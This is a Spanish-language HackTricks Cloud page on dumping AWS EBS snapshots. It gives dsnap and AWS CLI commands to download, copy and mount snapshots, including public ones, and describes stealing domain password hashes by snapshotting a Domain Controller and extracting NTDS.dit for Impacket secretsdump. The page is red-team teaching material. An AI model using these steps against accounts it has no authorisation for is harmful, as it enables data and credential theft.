AWS - EBS Snapshot Dump
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Comprobando un snapshot localmente
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Nota que
dsnapno te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar eso:
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Para más información sobre esta técnica, consulta la investigación original en https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Puedes hacer esto con Pacu usando el módulo ebs__download_snapshots
Comprobando un snapshot en AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Móntalo en una VM de EC2 bajo tu control (debe estar en la misma región que la copia de la copia de seguridad):
Paso 1: Se debe crear un nuevo volumen de tu tamaño y tipo preferido dirigiéndote a EC2 –> Volúmenes.
Para poder realizar esta acción, sigue estos comandos:
- Crea un volumen EBS para adjuntar a la instancia de EC2.
- Asegúrate de que el volumen EBS y la instancia estén en la misma zona.
Paso 2: Se debe seleccionar la opción “adjuntar volumen” haciendo clic derecho en el volumen creado.
Paso 3: Se debe seleccionar la instancia del cuadro de texto de la instancia.
Para poder realizar esta acción, utiliza el siguiente comando:
- Adjunta el volumen EBS.
Paso 4: Inicia sesión en la instancia de EC2 y lista los discos disponibles usando el comando lsblk.
Paso 5: Verifica si el volumen tiene datos usando el comando sudo file -s /dev/xvdf.
Si la salida del comando anterior muestra “/dev/xvdf: data”, significa que el volumen está vacío.
Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando sudo mkfs -t ext4 /dev/xvdf. Alternativamente, también puedes usar el formato xfs usando el comando sudo mkfs -t xfs /dev/xvdf. Ten en cuenta que debes usar ext4 o xfs.
Paso 7: Crea un directorio de tu elección para montar el nuevo volumen ext4. Por ejemplo, puedes usar el nombre “newvolume”.
Para poder realizar esta acción, utiliza el comando sudo mkdir /newvolume.
Paso 8: Monta el volumen en el directorio “newvolume” usando el comando sudo mount /dev/xvdf /newvolume/.
Paso 9: Cambia al directorio “newvolume” y verifica el espacio en disco para validar el montaje del volumen.
Para poder realizar esta acción, utiliza los siguientes comandos:
- Cambia al directorio
/newvolume. - Verifica el espacio en disco usando el comando
df -h .. La salida de este comando debería mostrar el espacio libre en el directorio “newvolume”.
Puedes hacer esto con Pacu usando el módulo ebs__explore_snapshots.
Comprobando un snapshot en AWS (usando cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
├─xvdh1 202:113 0 7.9G 0 part
├─xvdh14 202:126 0 4M 0 part
└─xvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Cualquier usuario de AWS que posea el permiso EC2:CreateSnapshot puede robar los hashes de todos los usuarios del dominio creando un snapshot del Controlador de Dominio, montándolo en una instancia que controlan y exportando el archivo NTDS.dit y el registro SYSTEM para su uso con el proyecto secretsdump de Impacket.
Puedes usar esta herramienta para automatizar el ataque: https://github.com/Static-Flow/CloudCopy o podrías usar una de las técnicas anteriores después de crear un snapshot.
References
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

